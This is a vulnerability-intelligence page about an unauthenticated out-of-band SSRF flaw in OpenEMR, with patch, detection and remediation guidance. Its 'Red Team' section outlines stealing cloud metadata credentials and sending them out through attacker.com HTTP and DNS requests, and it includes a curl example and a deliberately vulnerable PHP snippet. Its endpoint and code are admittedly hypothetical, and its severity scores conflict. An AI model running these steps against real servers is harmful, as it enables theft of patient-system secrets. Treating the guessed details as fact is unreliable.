☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-31117

CVE-2025-31117 Server-Side Request Forgery in Openemr
📅 PUBLISHED: 2025-03-31 16:49 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.46%
👁️
0.46% probability
11.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31117 is an Out-of-Band Server-Side Request Forgery (OOB SSRF) vulnerability in OpenEMR, a free and open-source electronic health records and medical practice management application. This vulnerability allows an unauthenticated attacker to force the server to make unauthorized HTTP or DNS requests to internal or external resources. While the attack does not return a direct response, it can be exploited through DNS or HTTP interactions to exfiltrate sensitive information, such as internal network topology, cloud metadata, or other secrets. The vulnerability is fixed in OpenEMR version 7.0.3.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code vulnerability in the OpenEMR application itself. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Estimated: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

  • Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None - No authentication is needed to exploit the vulnerability.
  • User Interaction (UI): None - The victim does not need to perform any action.
  • Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High - Sensitive information can be exfiltrated.
  • Integrity (I): None - No data modification is possible.
  • Availability (A): None - No denial of service is caused.

Threat Level: High. The ability to perform SSRF without authentication in a healthcare application poses a significant risk to patient data confidentiality and internal network security.

Deep Dive & Mechanics

The vulnerability is an Out-of-Band Server-Side Request Forgery (OOB SSRF). Unlike classic SSRF where the response is returned directly to the attacker, OOB SSRF relies on the server making a request to an attacker-controlled external system (e.g., a DNS server or HTTP endpoint) to exfiltrate data.

Mechanism:

  1. Entry Point: The vulnerability likely exists in a feature that accepts a URL or hostname from user input, such as importing data from a remote source, fetching a logo, or validating a webhook URL.
  2. Lack of Validation: The application does not properly validate or sanitize the user-supplied URL. It does not block requests to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8) or external domains.
  3. Out-of-Band Exfiltration: The attacker crafts a request that includes sensitive data in the URL or DNS query. For example, the attacker could make the server request http://attacker-controlled.com/ and include a parameter like ?data=[INTERNAL_SECRET]. The attacker's server logs the request, capturing the secret.
  4. DNS Exfiltration: Alternatively, the attacker can use a DNS lookup to exfiltrate data. For example, the server might be tricked into performing a DNS lookup for [INTERNAL_SECRET].attacker-controlled.com. The attacker's DNS server logs the subdomain, revealing the secret.

Why OOB SSRF is dangerous:

  • Bypasses Firewalls: The attacker does not need to see the direct response, making it harder to detect.
  • Data Exfiltration: Sensitive data like AWS/Azure metadata, internal service credentials, or database contents can be exfiltrated.
  • Internal Network Scanning: The attacker can probe internal hosts and services by observing timing differences or error messages.

Vulnerable vs. Patched Code

Since no specific code commit is provided, the following is a hypothetical example of the vulnerable and patched code pattern.

Vulnerable Code (PHP example):

<?php
// Vulnerable: Directly uses user input without validation
$url = $_GET['url'];
$response = file_get_contents($url);
echo $response;
?>

Patched Code (PHP example):

<?php
// Patched: Validates the URL against an allowlist
$url = $_GET['url'];
$parsedUrl = parse_url($url);
$host = $parsedUrl['host'];

// Allowlist of permitted hosts
$allowedHosts = ['api.trusted-service.com', 'cdn.trusted-cdn.com'];

if (!in_array($host, $allowedHosts)) {
    die('Invalid URL');
}

// Also block internal IPs
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    $response = file_get_contents($url);
    echo $response;
} else {
    die('Invalid URL');
}
?>

Key Differences:

  • Input Validation: The patched code validates the hostname against an allowlist.
  • IP Blocking: The patched code resolves the hostname to an IP and blocks private/reserved ranges.
  • Error Handling: The patched code returns an error instead of processing the request.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Exfiltrate AWS metadata from an OpenEMR server.

Prerequisites:

  • An attacker-controlled server with a public IP and a DNS server (e.g., using dnschef or Burp Collaborator).
  • Knowledge of the vulnerable endpoint (e.g., /import.php?url=).

Exploitation Steps:

  1. Identify the vulnerable endpoint: Use a web scanner or manual testing to find endpoints that accept a URL parameter.
  2. Test for SSRF: Send a request to a known external service (e.g., http://attacker.com/test). Check the attacker server logs for the incoming request.
  3. Exfiltrate AWS Metadata:
    • Craft a request that makes the server fetch the AWS metadata endpoint and include the result in a DNS query.
    • Example payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
    • Since the response is not returned directly, use a DNS exfiltration technique:
      • Set up a DNS server that logs queries.
      • Make the server perform a DNS lookup for [BASE64_ENCODED_METADATA].attacker.com.
      • This can be done by exploiting a feature that performs a DNS lookup on a user-supplied hostname.
  4. Capture the data: The attacker's DNS server logs the subdomain, which contains the exfiltrated metadata.

Example Payload (Hypothetical):

# Using curl to simulate the attack
curl "http://target-openemr.com/vulnerable-endpoint?url=http://169.254.169.254/latest/meta-data/"

Blue Team (Defender)

Objective: Detect and block SSRF attempts.

Detection Steps:

  1. Monitor Outbound Traffic: Look for connections to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8) from the web server.
  2. Analyze DNS Queries: Monitor for DNS queries to suspicious domains, especially those with long subdomains or base64-encoded strings.
  3. Web Application Firewall (WAF) Rules: Block requests containing IP addresses in private ranges or known metadata endpoints (e.g., 169.254.169.254).
  4. Network Segmentation: Ensure the web server cannot access sensitive internal services directly.
  5. Patch Management: Immediately update OpenEMR to version 7.0.3.1 or later.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections from the OpenEMR server to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
    • DNS queries to domains with long, encoded subdomains (e.g., [base64].attacker.com).
    • HTTP requests to 169.254.169.254 or 100.100.100.200 (cloud metadata endpoints).
  • File IOCs:
    • Unusual log entries in /var/log/openemr/ or Apache/Nginx logs showing requests to internal IPs.
  • Behavioral IOCs:
    • Unexpected outbound traffic from the web server to external IPs on ports 80, 443, or 53.

Detection Engineering

YARA Rule

rule Detect_OOB_SSRF_OpenEMR {
    meta:
        description = "Detects potential OOB SSRF exploitation attempts in OpenEMR logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31117"
    strings:
        $s1 = "169.254.169.254" nocase
        $s2 = "metadata" nocase
        $s3 = "internal" nocase
        $s4 = "localhost" nocase
        $s5 = "10." nocase
        $s6 = "192.168." nocase
        $s7 = "172." nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: Detect OOB SSRF Attempts in OpenEMR
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to internal IPs or cloud metadata endpoints from OpenEMR
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-31117
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '169.254.169.254'
            - '10.'
            - '192.168.'
            - '172.'
            - '127.0.0.1'
            - 'localhost'
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31117 OOB SSRF Attempt"; flow:to_server; content:"169.254.169.254"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
alert dns $HOME_NET any -> any any (msg:"CVE-2025-31117 OOB SSRF DNS Exfiltration"; dns_query; content:"|2e|"; distance:0; pcre:"/[A-Za-z0-9+/]{20,}\.attacker\.com/"; classtype:attempted-recon; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade OpenEMR to version 7.0.3.1 or later immediately.
  2. WAF Rules: Implement WAF rules to block requests containing private IP addresses or cloud metadata endpoints.
  3. Network Segmentation: Restrict outbound traffic from the OpenEMR server to only necessary external services.
  4. Input Validation: If patching is not immediately possible, implement strict input validation on all URL parameters, allowing only a predefined list of trusted hosts.

Long-Term Measures:

  1. Code Review: Conduct a thorough code review of all features that handle user-supplied URLs.
  2. Security Testing: Integrate SSRF testing into the CI/CD pipeline using tools like ssrf-sheriff or Burp Suite.
  3. Monitoring: Set up alerts for outbound connections to internal IPs and suspicious DNS queries.
  4. Least Privilege: Run the web server with the minimum necessary permissions to access internal resources.

Valters IT

This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31117/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.